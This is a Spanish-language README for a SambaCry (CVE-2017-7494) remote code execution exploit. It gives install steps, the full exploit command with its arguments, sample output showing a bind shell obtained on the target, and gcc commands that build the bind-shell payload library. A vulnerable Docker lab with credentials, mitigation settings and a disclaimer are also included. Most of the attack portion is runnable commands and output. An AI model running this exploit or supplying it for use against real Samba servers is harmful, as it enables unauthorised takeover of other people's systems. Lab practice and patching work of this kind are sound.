
Exploit de SambaCry y contenedor vulnerable (CVE-2017-7494)
Samba es una reimplementación de software libre del protocolo de red SMB/CIFS. Samba proporciona servicios de archivos e impresión para varios clientes de Microsoft Windows y puede integrarse con un dominio de Microsoft Windows Server, ya sea como Controlador de Dominio (DC) o como miembro del dominio. A partir de la versión 4, es compatible con Active Directory y dominios de Microsoft Windows NT.
Samba en la versión 4.5.9 y anteriores es vulnerable a una vulnerabilidad de ejecución remota de código llamada SambaCry. CVE-2017-7494 permite a usuarios autenticados remotos cargar una biblioteca compartida en una carpeta compartida escribible y realizar ataques de ejecución de código para tomar el control de servidores que alojan servicios Samba vulnerables.
Samba 3.x después de 3.5.0 y 4.x antes de 4.4.14, 4.5.x antes de 4.5.10 y 4.6.x antes de 4.6.4 no restringe la ruta del archivo al utilizar tuberías con nombre de Windows, lo que permite a usuarios autenticados remotos cargar una biblioteca compartida en una carpeta compartida escribible y ejecutar código arbitrario a través de una tubería con nombre manipulada.

Para ejecutar correctamente este exploit necesitarás una versión parcheada de la biblioteca Python impacket y las demás dependencias del archivo requirements. Para instalarlas todas, ejecuta
pip install -r requirements.txt
Si ejecutas Python3, necesitas ejecutar este software en un entorno virtual. Sigue los pasos:
pip install virtualenv
virtualenv -p /usr/bin/python2.7 venv # o donde sea que resida tu python2.7
source venv/bin/activate.sh
Después de eso, puedes ejecutarlo de la siguiente manera:
./exploit.py -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
Por ejemplo, si quieres explotar el entorno vulnerable dentro de este repositorio, ejecuta
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
Y obtendrás la siguiente salida
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
Explicación de los argumentos del exploit:
usage: exploit.py [-h] -t TARGET -e EXECUTABLE -s REMOTESHARE -r REMOTEPATH
[-u USER] [-p PASSWORD] [-P REMOTESHELLPORT]
-t o —target - Establece el host remoto a atacar.-e o —executable - Establece la ruta en tu sistema local donde se encuentra la librería que deseas cargar.-s o —remoteshare - Recurso compartido remoto donde se copiará el archivo.-r o —remotepath - Donde se encuentra el archivo en el sistema remoto.-u o —user - Nombre de usuario para iniciar sesión.-p o —password - Contraseña para iniciar sesión.-P o —remoteshellport - Si estás utilizando un payload de shell bind, conéctate al payload después de ejecutar el ataque.Para simular este ataque puedes usar una imagen Docker vulnerable. Si tienes Docker instalado, simplemente ejecuta
docker run --rm -it \
-p 137-139:137-139 \
-p 445:445 -p 6699:6699 \
vulnerables/cve-2017-7494
Si quieres acceder, usa las siguientes credenciales.
sambacrynosambanocryPuedes encontrar un ejemplo de payload de shell bind para este exploit en el archivo bindshell-samba.c. Modifícalo según sea necesario. Después, para generar un nuevo binario, usa:
gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
Samba 3.x después de 3.5.0 y 4.x antes de 4.4.14, 4.5.x antes de 4.5.10 y 4.6.x antes de 4.6.4
Añade el parámetro:
nt pipe support = no
a la sección [global] de tu smb.conf y reinicia smbd. Esto evita que los clientes accedan a cualquier endpoint de tubería con nombre. Ten en cuenta que esto puede deshabilitar alguna funcionalidad esperada para los clientes de Windows.
También considera montar el sistema de archivos que utiliza Samba para su recurso compartido escribible usando la opción noexec.
Este programa o el anterior son SOLO con fines educativos. No lo uses sin permiso. Se aplica el descargo de responsabilidad habitual, especialmente el hecho de que yo (opsxcq) no soy responsable de ningún daño causado por el uso directo o indirecto de la información o funcionalidad proporcionada por estos programas. El autor o cualquier proveedor de Internet NO asume ninguna responsabilidad por el contenido o mal uso de estos programas o cualquier derivado de los mismos. Al usar estos programas aceptas que cualquier daño (pérdida de datos, fallo del sistema, compromiso del sistema, etc.) causado por el uso de estos programas no es responsabilidad de opsxcq.